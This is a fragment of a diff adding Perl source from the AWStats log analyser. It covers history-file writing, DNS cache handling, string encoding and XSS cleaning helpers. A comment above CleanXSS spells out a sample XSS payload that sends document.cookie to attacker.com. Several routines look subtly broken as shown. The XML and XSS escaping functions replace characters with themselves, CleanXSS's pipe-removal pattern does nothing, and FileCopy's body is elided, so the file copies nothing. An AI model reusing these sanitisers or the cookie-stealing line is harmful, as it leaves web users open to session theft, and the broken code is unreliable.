id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# Search keyphrases - Number of search\n"; + print HISTORYTMP +"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}" + . ( scalar keys %_keyphrases ) + . "${xmlbe}\n"; + + # We will also build _keywords + %_keywords = (); + +# We save key list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'KeywordsShown'}, + $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases ); + %keysinkeylist = (); + foreach my $key (@keylist) { + $keysinkeylist{$key} = 1; + my $keyphrase = $key; + $keyphrase =~ tr/ /\+/s; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($keyphrase) + . "${xmlrs}" + . $_keyphrases{$key} + . "${xmlre}\n"; + foreach ( split( /\+/, $key ) ) { + $_keywords{$_} += $_keyphrases{$key}; + } # To init %_keywords + } + foreach my $key ( keys %_keyphrases ) { + if ( $keysinkeylist{$key} ) { next; } + my $keyphrase = $key; + $keyphrase =~ tr/ /\+/s; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($keyphrase) + . "${xmlrs}" + . $_keyphrases{$key} + . "${xmlre}\n"; + foreach ( split( /\+/, $key ) ) { + $_keywords{$_} += $_keyphrases{$key}; + } # To init %_keywords + } + print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n"; + + # Now save keywords section + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# Search keywords - Number of search\n"; + print HISTORYTMP +"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n"; + $ValueInFile{"keywords"} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}" + . ( scalar keys %_keywords ) + . "${xmlbe}\n"; + +# We save key list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'KeywordsShown'}, + $MinHit{'Keyword'}, \%_keywords, \%_keywords ); + %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + my $keyword = $_; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($keyword) + . "${xmlrs}" + . $_keywords{$_} + . "${xmlre}\n"; + } + foreach ( keys %_keywords ) { + if ( $keysinkeylist{$_} ) { next; } + my $keyword = $_; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($keyword) + . "${xmlrs}" + . $_keywords{$_} + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n"; + + } + + # Other - Errors + if ( $sectiontosave eq 'cluster' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}" + . ( scalar keys %_cluster_h ) + . "${xmlbe}\n"; + foreach ( keys %_cluster_h ) { + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_cluster_p{$_} || 0 ) + . "${xmlrs}" + . int( $_cluster_h{$_} || 0 ) + . "${xmlrs}" + . int( $_cluster_k{$_} || 0 ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n"; + } + if ( $sectiontosave eq 'misc' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}" + . ( scalar keys %MiscListCalc ) + . "${xmlbe}\n"; + foreach ( keys %MiscListCalc ) { + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_misc_p{$_} || 0 ) + . "${xmlrs}" + . int( $_misc_h{$_} || 0 ) + . "${xmlrs}" + . int( $_misc_k{$_} || 0 ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_MISC${xmlee}\n"; + } + if ( $sectiontosave eq 'errors' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Errors - Hits - Bandwidth\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}" + . ( scalar keys %_errors_h ) + . "${xmlbe}\n"; + foreach ( keys %_errors_h ) { + print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}" + . int( $_errors_k{$_} || 0 ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n"; + } + + # Other - Trapped errors + foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { + if ( $sectiontosave eq "sider_$code" ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP + "# URL with $code errors - Hits - Last URL referer\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}" + . ( scalar keys %_sider404_h ) + . "${xmlbe}\n"; + foreach ( keys %_sider404_h ) { + my $newkey = $_; + my $newreferer = $_referer404_h{$_} || ''; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($newkey) + . "${xmlrs}$_sider404_h{$_}${xmlrs}" + . XMLEncodeForHisto($newreferer) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n"; + } + } + + # Other - Extra stats sections + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + if ( $sectiontosave eq "extra_$extranum" ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n"; + } + print HISTORYTMP + "# Extra key - Pages - Hits - Bandwidth - Last access\n"; + print HISTORYTMP + "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}" + . scalar( keys %{ '_section_' . $extranum . '_h' } ) + . "${xmlbe}\n"; + &BuildKeyList( + $MaxNbOfExtra[$extranum], + $MinHitExtra[$extranum], + \%{ '_section_' . $extranum . '_h' }, + \%{ '_section_' . $extranum . '_p' } + ); + %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0; + my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0; + my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || ''; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($_) + . "${xmlrs}$page${xmlrs}", + ${ '_section_' . $extranum . '_h' }{$_}, + "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; + next; + } + foreach ( keys %{ '_section_' . $extranum . '_h' } ) { + if ( $keysinkeylist{$_} ) { next; } + my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0; + my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0; + my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || ''; + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($_) + . "${xmlrs}$page${xmlrs}", + ${ '_section_' . $extranum . '_h' }{$_}, + "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; + next; + } + print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n"; + } + } + + # Other - Plugin sections + if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) { + my $pluginname = $1; + if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) { + +# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)"; +# eval("$function"); + my $function = "SectionWriteHistory_$pluginname"; + &$function( + $xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb, + $xmlrs, $xmlre, $xmleb, $xmlee + ); + } + } + + %keysinkeylist = (); +} + +#-------------------------------------------------------------------- +# Function: Rename all tmp history file into history +# Parameters: None +# Input: $DirData $PROG $FileSuffix +# $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone +# Output: None +# Return: 1 Ok, 0 at least one error (tmp files are removed) +#-------------------------------------------------------------------- +sub Rename_All_Tmp_History { + my $pid = $$; + my $renameok = 1; + + if ($Debug) { + debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)"); + } + + opendir( DIR, "$DirData" ); + + my $datemask; + if ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; } + elsif ( $DatabaseBreak eq 'year' ) { $datemask = '\d\d\d\d'; } + elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; } + elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; } + if ($Debug) { + debug( +"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'" + ); + } + + my $regfilesuffix = quotemeta($FileSuffix); + foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/, + file_filt sort readdir DIR ) + { + /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/; + if ($renameok) { # No rename error yet + if ($Debug) { + debug( +" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt", + 1 + ); + } + if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" ) + { # Rename tmp files if size > 0 + if ($KeepBackupOfHistoricFiles) { + if ( -s "$DirData/$PROG$1$FileSuffix.txt" ) + { # History file already exists. We backup it + if ($Debug) { + debug( +" Make a backup of old history file into $PROG$1$FileSuffix.bak before", + 1 + ); + } + +#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) { + if ( + rename( + "$DirData/$PROG$1$FileSuffix.txt", + "$DirData/$PROG$1$FileSuffix.bak" + ) == 0 + ) + { + warning( +"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"." + ); + } + if ($SaveDatabaseFilesWithPermissionsForEveryone) { + chmod 0666, "$DirData/$PROG$1$FileSuffix.bak"; + } + } + else { + if ($Debug) { + debug( " No need to backup old history file", 1 ); + } + } + } + if ( + rename( + "$DirData/$PROG$1$FileSuffix.tmp.$$", + "$DirData/$PROG$1$FileSuffix.txt" + ) == 0 + ) + { + $renameok = + 0; # At least one error in renaming working files + # Remove tmp file + unlink "$DirData/$PROG$1$FileSuffix.tmp.$$"; + warning( +"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong" + . ( + $ENV{'GATEWAY_INTERFACE'} + ? " for an 'update from web'" + : "" + ) + . " or file might be opened." + ); + next; + } + if ($SaveDatabaseFilesWithPermissionsForEveryone) { + chmod 0666, "$DirData/$PROG$1$FileSuffix.txt"; + } + } + } + else { # Because of rename error, we remove all remaining tmp files + unlink "$DirData/$PROG$1$FileSuffix.tmp.$$"; + } + } + close DIR; + return $renameok; +} + +#------------------------------------------------------------------------------ +# Function: Load DNS cache file entries into a memory hash array +# Parameters: Hash array ref to load into, +# File name to load, +# File suffix to use +# Save to a second plugin file if not up to date +# Input: None +# Output: Hash array is loaded +# Return: 1 No DNS Cache file found, 0 OK +#------------------------------------------------------------------------------ +sub Read_DNS_Cache { + my $hashtoload = shift; + my $dnscachefile = shift; + my $filesuffix = shift; + my $savetohash = shift; + + my $dnscacheext = ''; + my $filetoload = ''; + my $timetoload = time(); + + if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); } + if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; } + foreach my $dir ( "$DirData", ".", "" ) { + my $searchdir = $dir; + if ( $searchdir + && ( !( $searchdir =~ /\/$/ ) ) + && ( !( $searchdir =~ /\\$/ ) ) ) + { + $searchdir .= "/"; + } + if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) { + $filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext"; + } + + # Plugin call : Change filetoload + if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) { + SearchFile_hashfiles( + $searchdir, $dnscachefile, $filesuffix, + $dnscacheext, $filetoload + ); + } + if ($filetoload) { last; } # We found a file to load + } + + if ( !$filetoload ) { + if ($Debug) { debug(" No DNS Cache file found"); } + return 1; + } + + # Plugin call : Load hashtoload + if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) { + LoadCache_hashfiles( $filetoload, $hashtoload ); + } + if ( !scalar keys %$hashtoload ) { + open( DNSFILE, "$filetoload" ) + or error("Couldn't open DNS Cache file \"$filetoload\": $!"); + +#binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8 +# This is a fast way to load with regexp + %$hashtoload = + map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> ); + close DNSFILE; + if ($savetohash) { + + # Plugin call : Save hash file (all records) with test if up to date to save + if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) { + SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 ); + } + } + } + if ($Debug) { + debug( + " Loaded " + . ( scalar keys %$hashtoload ) + . " items from $filetoload in " + . ( time() - $timetoload ) + . " seconds.", + 1 + ); + } + return 0; +} + +#------------------------------------------------------------------------------ +# Function: Save a memory hash array into a DNS cache file +# Parameters: Hash array ref to save, +# File name to save, +# File suffix to use +# Input: None +# Output: None +# Return: 0 OK, 1 Error +#------------------------------------------------------------------------------ +sub Save_DNS_Cache_File { + my $hashtosave = shift; + my $dnscachefile = shift; + my $filesuffix = shift; + + my $dnscacheext = ''; + my $filetosave = ''; + my $timetosave = time(); + my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE; + my $nbofelemsaved = 0; + + if ($Debug) { + debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]"); + } + if ( !scalar keys %$hashtosave ) { + if ($Debug) { debug(" No data to save"); } + return 0; + } + if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; } + $filetosave = "$dnscachefile$filesuffix$dnscacheext"; + +# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date + if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) { + SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave, + $nbofelemsaved ); + if ($SaveDatabaseFilesWithPermissionsForEveryone) { + chmod 0666, "$filetosave"; + } + } + if ( !$nbofelemsaved ) { + $filetosave = "$dnscachefile$filesuffix$dnscacheext"; + if ($Debug) { + debug( + " Save data " + . ( + $nbofelemtosave + ? "($nbofelemtosave records max)" + : "(all records)" + ) + . " into file $filetosave" + ); + } + if ( !open( DNSFILE, ">$filetosave" ) ) { + warning( +"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!" + ); + return 1; + } + binmode DNSFILE; + my $starttimemin = int( $starttime / 60 ); + foreach my $key ( keys %$hashtosave ) { + + #if ($hashtosave->{$key} ne '*') { + my $ipsolved = $hashtosave->{$key}; + print DNSFILE "$starttimemin\t$key\t" + . ( $ipsolved eq 'ip' ? '*' : $ipsolved ) + . "\n"; # Change 'ip' to '*' for backward compatibility + if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; } + + #} + } + close DNSFILE; + + if ($SaveDatabaseFilesWithPermissionsForEveryone) { + chmod 0666, "$filetosave"; + } + + } + if ($Debug) { + debug( + " Saved $nbofelemsaved items into $filetosave in " + . ( time() - $timetosave ) + . " seconds.", + 1 + ); + } + return 0; +} + +#------------------------------------------------------------------------------ +# Function: Return time elapsed since last call in miliseconds +# Parameters: 0|1 (0 reset counter, 1 no reset) +# Input: None +# Output: None +# Return: Number of miliseconds elapsed since last call +#------------------------------------------------------------------------------ +sub GetDelaySinceStart { + if (shift) { $StartSeconds = 0; } # Reset chrono + my ( $newseconds, $newmicroseconds ) = ( time(), 0 ); + + # Plugin call : Return seconds and milliseconds + if ( $PluginsLoaded{'GetTime'}{'timehires'} ) { + GetTime_timehires( $newseconds, $newmicroseconds ); + } + if ( !$StartSeconds ) { + $StartSeconds = $newseconds; + $StartMicroseconds = $newmicroseconds; + } + return ( ( $newseconds - $StartSeconds ) * 1000 + + int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) ); +} + +#------------------------------------------------------------------------------ +# Function: Reset all variables whose name start with _ because a new month start +# Parameters: None +# Input: $YearRequired All variables whose name start with _ +# Output: All variables whose name start with _ +# Return: None +#------------------------------------------------------------------------------ +sub Init_HashArray { + if ($Debug) { debug("Call to Init_HashArray"); } + + # Reset global hash arrays + %FirstTime = %LastTime = (); + %MonthHostsKnown = %MonthHostsUnknown = (); + %MonthVisits = %MonthUnique = (); + %MonthPages = %MonthHits = %MonthBytes = (); + %MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = (); + %DayPages = %DayHits = %DayBytes = %DayVisits = (); + + # Reset all arrays with name beginning by _ + for ( my $ix = 0 ; $ix < 6 ; $ix++ ) { + $_from_p[$ix] = 0; + $_from_h[$ix] = 0; + } + for ( my $ix = 0 ; $ix < 24 ; $ix++ ) { + $_time_h[$ix] = 0; + $_time_k[$ix] = 0; + $_time_p[$ix] = 0; + $_time_nv_h[$ix] = 0; + $_time_nv_k[$ix] = 0; + $_time_nv_p[$ix] = 0; + } + + # Reset all hash arrays with name beginning by _ + %_session = %_browser_h = %_browser_p = (); + %_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = (); + %_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = (); + %_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = (); + %_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = (); + %_keyphrases = %_keywords = %_os_h = %_os_p = %_pagesrefs_p = %_pagesrefs_h = + %_robot_h = %_robot_k = %_robot_l = %_robot_r = (); + %_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k = + %_login_l = %_screensize_h = (); + %_misc_p = %_misc_h = %_misc_k = (); + %_cluster_p = %_cluster_h = %_cluster_k = (); + %_se_referrals_p = %_se_referrals_h = %_sider404_h = %_referer404_h = + %_url_p = %_url_k = %_url_e = %_url_x = (); + %_downloads = (); + %_unknownreferer_l = %_unknownrefererbrowser_l = (); + %_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k = + %_emailr_l = (); + + for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) { + %{ '_section_' . $ix . '_h' } = %{ '_section_' . $ix . '_o' } = + %{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } = + %{ '_section_' . $ix . '_p' } = (); + } + foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) + { + + # my $function="SectionInitHashArray_$pluginname()"; + # eval("$function"); + my $function = "SectionInitHashArray_$pluginname"; + &$function(); + } +} + +#------------------------------------------------------------------------------ +# Function: Change word separators of a keyphrase string into space and +# remove bad coded chars +# Parameters: stringtodecode +# Input: None +# Output: None +# Return: decodedstring +#------------------------------------------------------------------------------ +sub ChangeWordSeparatorsIntoSpace { + $_[0] =~ s/%0[ad]/ /ig; # LF CR + $_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + , + $_[0] =~ s/%3a/ /ig; # : + $_[0] =~ + tr/\+\'\(\)\"\*,:/ /s; # "&" and "=" must not be in this list +} + +#------------------------------------------------------------------------------ +# Function: Transforms special chars by entities as needed in XML/XHTML +# Parameters: stringtoencode +# Return: encodedstring +#------------------------------------------------------------------------------ +sub XMLEncode { + if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) { + return shift; + } + my $string = shift; + $string =~ s/&/&/g; + $string =~ s/</</g; + $string =~ s/>/>/g; + $string =~ s/\"/"/g; + $string =~ s/\'/'/g; + return $string; +} + +#------------------------------------------------------------------------------ +# Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML +# Decoding is done by XMLDecodeFromHisto. +# AWStats data files are stored in ISO-8859-1. +# Parameters: stringtoencode +# Return: encodedstring +#------------------------------------------------------------------------------ +sub XMLEncodeForHisto { + my $string = shift; + $string =~ s/\s/%20/g; + if ( $BuildHistoryFormat ne 'xml' ) { return $string; } + $string =~ s/=/%3d/g; + $string =~ s/&/&/g; + $string =~ s/</</g; + $string =~ s/>/>/g; + $string =~ s/\"/"/g; + $string =~ s/\'/'/g; + return $string; +} + +#------------------------------------------------------------------------------ +# Function: Encode an ISO string to PageCode output +# Parameters: stringtoencode +# Return: encodedstring +#------------------------------------------------------------------------------ +sub EncodeToPageCode { + my $string = shift; + if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); } + return $string; +} + +#------------------------------------------------------------------------------ +# Function: Encode a binary string into an ASCII string +# Parameters: stringtoencode +# Return: encodedstring +#------------------------------------------------------------------------------ +sub EncodeString { + my $string = shift; + + # use bytes; + $string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg; + + # no bytes; + $string =~ tr/ /+/s; + return $string; +} + +#------------------------------------------------------------------------------ +# Function: Decode an url encoded text string into a binary string +# Parameters: stringtodecode +# Input: None +# Output: None +# Return: decodedstring +#------------------------------------------------------------------------------ +sub DecodeEncodedString { + my $stringtodecode = shift; + $stringtodecode =~ tr/\+/ /s; + $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg; + $stringtodecode =~ s/["']//g; + + return $stringtodecode; +} + +#------------------------------------------------------------------------------ +# Function: Decode a precompiled regex value to a common regex value +# Parameters: compiledregextodecode +# Input: None +# Output: None +# Return: standardregex +#------------------------------------------------------------------------------ +sub UnCompileRegex { + shift =~ /\(\?[-^\w]*:(.*)\)/; # Works with all perl + # shift =~ /\(\?[-\w]*:(.*)\)/; < perl 5.14 + return $1; +} + +#------------------------------------------------------------------------------ +# Function: Clean a string of all chars that are not char or _ - \ / . \s +# Parameters: stringtoclean, full +# Input: None +# Output: None +# Return: cleanedstring +#------------------------------------------------------------------------------ +sub Sanitize { + my $stringtoclean = shift; + my $full = shift || 0; + if ($full) { + $stringtoclean =~ s/[^\w\d]//g; + } + else { + $stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g; + } + return $stringtoclean; +} + +#------------------------------------------------------------------------------ +# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks' +# and clean | char. +# A XSS attack is providing an AWStats url with XSS code that is executed +# when page loaded by awstats CGI is loaded from AWStats server. Such a code +# can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script> +# This make the browser sending a request to the attacker server that contains +# cookie used for AWStats server sessions. Attacker can this way caught this +# cookie and used it to go on AWStats server like original visitor. For this +# resaon, parameter received by AWStats must be sanitized by this function +# before beeing put inside a web page. +# Parameters: stringtoclean +# Input: None +# Output: None +# Return: cleanedstring +#------------------------------------------------------------------------------ +sub CleanXSS { + my $stringtoclean = shift; + + # To avoid html tags and javascript + $stringtoclean =~ s/</</g; + $stringtoclean =~ s/>/>/g; + $stringtoclean =~ s/|//g; + + # To avoid onload=" + $stringtoclean =~ s/onload//g; + return $stringtoclean; +} + +#------------------------------------------------------------------------------ +# Function: Clean tags in a string +# AWStats data files are stored in ISO-8859-1. +# Parameters: stringtodecode +# Input: None +# Output: None +# Return: decodedstring +#------------------------------------------------------------------------------ +sub XMLDecodeFromHisto { + my $stringtoclean = shift; + $stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space + $stringtoclean =~ s/$regclean2//g; # Remove others <xxx> + $stringtoclean =~ s/%3d/=/g; + $stringtoclean =~ s/&/&/g; + $stringtoclean =~ s/</</g; + $stringtoclean =~ s/>/>/g; + $stringtoclean =~ s/"/\"/g; + $stringtoclean =~ s/'/\'/g; + return $stringtoclean; +} + +#------------------------------------------------------------------------------ +# Function: Copy one file into another +# Parameters: sourcefilename targetfilename +# Input: None +# Output: None +# Return: 0 if copy is ok, 1 else +#------------------------------------------------------------------------------ +sub FileCopy { + my $filesource = shift; + my $filetarget = shift; + if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); } + open( FILESOURCE, "$filesource" ) || return 1; + open( FILETARGET, ">$filetarget" ) || return 1; + binmode FILESOURCE; + binmode FILETARGET; + + # ... + close(FILETARGET); + close(FILESOURCE); + if ($Debug) { debug( " File copied", 1 ); } + return 0; +} + +#------------------------------------------------------------------------------ +# Function: Format a QUERY_STRING +# Parameters: query +# Input: None +# Output: None +# Return: formated query +#------------------------------------------------------------------------------ +# TODO Appeller cette fonction partout ou il y a des NewLinkParams +sub CleanNewLinkParamsFrom { + my $NewLinkParams = shift; + while ( my $param = shift ) { + $NewLinkParams =~ s/(^|&|&)$param(=[^&]*|$)//i; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + return $NewLinkParams; +} + +#------------------------------------------------------------------------------ +# Function: Show flags for other language translations +# Parameters: Current languade id (en, fr, ...) +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub Show_Flag_Links { + my $CurrentLang = shift; + + # Build flags link + my $NewLinkParams = $QueryString; + my $NewLinkTarget = ''; + if ( $ENV{'GATEWAY_INTERFACE'} ) { + $NewLinkParams = + CleanNewLinkParamsFrom( $NewLinkParams, + ( 'update', 'staticlinks', 'framename', 'lang' ) ); + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)lang=[^&]*//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } + + if ( $FrameName eq 'mainright' ) { + $NewLinkTarget = " target=\"_parent\""; + } + } + else { + $NewLinkParams = + ( $SiteConfig ? "config=$SiteConfig&" : "" ) + . "year=$YearRequired&month=$MonthRequired&"; + } + if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&'; } + if ( $FrameName eq 'mainright' ) { + $NewLinkParams .= 'framename=index&'; + } + + foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) { + $lng = + $LangBrowserToLangAwstats{$lng} + ? $LangBrowserToLangAwstats{$lng} + : $lng; + if ( $lng ne $CurrentLang ) { + my %lngtitle = ( + 'en', 'English', 'fr', 'French', 'de', 'German', + 'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish' + ); + my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng ); + my $flag = ( + $LangAWStatsToFlagAwstats{$lng} + ? $LangAWStatsToFlagAwstats{$lng} + : $lng + ); + print "<a href=\"" + . XMLEncode("$AWScript${NewLinkParams}lang=$lng") + . "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\"" + . AltTitle("$lngtitle") + . " /></a> \n"; + } + } +} + +#------------------------------------------------------------------------------ +# Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb) +# Parameters: bytes (integer value or "0.00") +# Input: None +# Output: None +# Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0" +#------------------------------------------------------------------------------ +sub Format_Bytes { + my $bytes = shift || 0; + my $fudge = 1; + +# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions + if ( $bytes >= ( $fudge << 30 ) ) { + return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]"; + } + if ( $bytes >= ( $fudge << 20 ) ) { + return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]"; + } + if ( $bytes >= ( $fudge << 10 ) ) { + return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]"; + } + if ( $bytes < 0 ) { $bytes = "?"; } + return int($bytes) . ( int($bytes) ? " $Message[119]" : "" ); +} + +#------------------------------------------------------------------------------ +# Function: Format a number with commas or any other separator +# CL: courtesy of http://www.perlmonks.org/?node_id=2145 +# Parameters: number +# Input: None +# Output: None +# Return: "999,999,999,999" +#------------------------------------------------------------------------------ +sub Format_Number { + my $number = shift || 0; + $number =~ s/(\d)(\d\d\d)$/$1 $2/; + $number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/; + $number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/; + my $separator = $Message[177]; + if ($separator eq '') { $separator=' '; } # For backward compatibility + $number =~ s/ /$separator/g; + return $number; +} + +#------------------------------------------------------------------------------ +# Function: Return " alt=string title=string" +# Parameters: string +# Input: None +# Output: None +# Return: "alt=string title=string" +#------------------------------------------------------------------------------ +sub AltTitle { + my $string = shift || ''; + return " alt='$string' title='$string'"; + + # return " alt=\"$string\" title=\"$string\""; + # return ($BuildReportFormat?"":" 